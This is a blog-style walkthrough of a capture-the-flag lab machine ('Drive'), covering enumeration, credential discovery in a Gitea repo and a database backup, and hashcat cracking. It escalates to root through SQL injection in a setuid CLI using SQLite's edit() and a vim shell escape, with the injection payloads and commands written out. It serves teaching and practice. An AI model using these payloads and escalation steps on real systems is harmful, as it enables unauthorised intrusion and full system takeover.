To read this post, enter the root user’s password hash ("$6…k1").
We start off with a port scan:
╰─ nmap -sC -sV 10.129.51.186
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-20 12:43 CST
Nmap scan report for drive.htb (10.129.51.186)
Host is up (0.030s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Doodle Grive
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.91 seconds
The site is hosting something called Doodle Grive which lets us upload and view files in our browser. Let’s register an account and try uploading something:

I noticed how the URL seems to have a number that indicates which file I am trying to look at. I wasn’t able to look at other files using this but when looking around I found another endpoint that might allow us to examine file information.
On the /home endpoint you can choose to reserve files, and this will send a request to /122/block which is the endpoint that I imagine restricts the file. But the response shows you the file view like this:

I threw this request in the Burp Intruder and fuzzed the file numbers and noticed that a few file numbers popped a 200 response:

Using these credentials, we are able to log into SSH as the martin user:
╰─ ssh martin@drive.htb
martin@drive.htbs password:
---SNIP---
martin@drive:~$ whoami
martin
If we look around on the machine, we see that there is a service running on port 3000, just like our nmap scans earlier showed.
martin@drive:~$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Let’s try and forward this port to our machine and take a look:
╰─ ssh -L 3000:127.0.0.1:3000 martin@drive.htb
Visiting this page shows us a Gitea page but the username martin doesn’t work so I opted to look back at the first site we visited. I was able to get a list of usernames by making a group and then editing it so see which users I could add:

This username and the password from earlier works on Gitea and we can take a look at a repo owned by the crisDisel user:

We can find an interesting password in the db_backup.sh file:

The password seems to be used to password protect an archive that is placed in the /var/www/backups directory. Let’s go there, download the archives, and see what is inside.
Inside one of the archives, we can get a database file that has some hashed passwords inside:

I copy these hashes into a file and throw them into hashcat like this:
╰─ hashcat -m 124 hashes.txt /home/kali/Desktop/Useful-Misc./rockyou.txt
hashcat (v6.2.6) starting
---SNIP---
I was able to get one password for the tom user and we can try to log in with this password to SSH and it works. This is where we can read the user flag and see an interesting binary:
tom@drive:~$ ls -lh
total 876K
-rwSr-x--- 1 root tom 867K Sep 13 13:36 doodleGrive-cli
-rw-r----- 1 root tom 719 Feb 11 2023 README.txt
-rw-r----- 1 root tom 33 Nov 20 18:36 user.txt
We can download this binary from the target machine and take a look at it. The program asks for a username and password at first so I threw the binary into Ghidra and examined the main function:

We’ve got our username and password and now the program gives us a few more options:
╰─ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
fi--SNIP--mz!
Welcome...!
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option:
I am not really sure what we can do with these other functionalities, so let’s review the main function a bit more.
First, we can see that there could be a buffer overflow because the fgets function is used to read input into the local_58 and local_48 buffers. This could be an issue because those buffers are 16 and 56 bytes respectively.
We can try to enter a password of 56 characters and see what happens, but we encounter a protection of sorts:
╰─ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Invalid username or password.
*** stack smashing detected ***: terminated
[1] 264997 IOT instruction ./doodleGrive-cli
Unfortunately, I am not very skilled with binary exploitation at all and found this really difficult and tries to find other ways to complete the machine.
The way I went with centered around the way the program activates user accounts:

When trying to add an account and using SQL injection payloads I noticed this:
Enter username to activate account: " or 1=1 -- -
Activating account for user '"or1=1---'...
Error: near "or1": syntax error
The syntax error makes me think that the injection worked and the query might have looked something like this:
UPDATE accounts_customuser SET is_active=1 WHERE username="" or 1=1 -- -";
Knowing that we are able to do some SQL injection is pretty nice, but I want to see if I can get a shell out of it.
After lengthy testing I was able to come up with this strategy that worked for me. Here is the injected query I used:
UPDATE accounts_customuser SET is_active=1 WHERE username=""&edit("+")--";
This forum post and the SQLite manual helped me get to this point. I will explain as best as I can.
The sqlite function edit() will take two arguments, the first being a value to be edited and the second being invocation for a text editor. If the second argument is not provided, then sqlite will default to using whatever editor is specified by the VISUAL environment variable.
The first argument will be written to a temporary file and then invokes the editor on that file.
So we can first make vim our editor of choice using an environment variable, and then we should be able to use a jail escape strategy to get a shell while the process is still in the elevated permission.
Here is what that would look like:
tom@drive:~$ VISUAL=/usr/bin/vim ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
fi---SNIP---z!
Welcome...!
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "&edit("+")--
Activating account for user '"&edit("+")--'...
At this point, vim will open and you will be greeted with a temporary file with your + character sitting there. Instead of editing this document, we will use a breakout method by typing this:
:shell = /bin/bash
:shell
Once you press enter for the second time, you’ll be thrust into a shell as root:
---SNIP---
Enter username to activate account: "&edit("+")--
Activating account for user '"&edit("+")--'...
bash: groups: No such file or directory
bash: lesspipe: No such file or directory
bash: dircolors: No such file or directory
root@drive:~# /usr/bin/whoami
root
root@drive:~#
Notice that we need to call our programs by their absolute path because this shell must not have a PATH set. Either way, a confusing way to root the machine and I doubt it is intended but it still worked for me.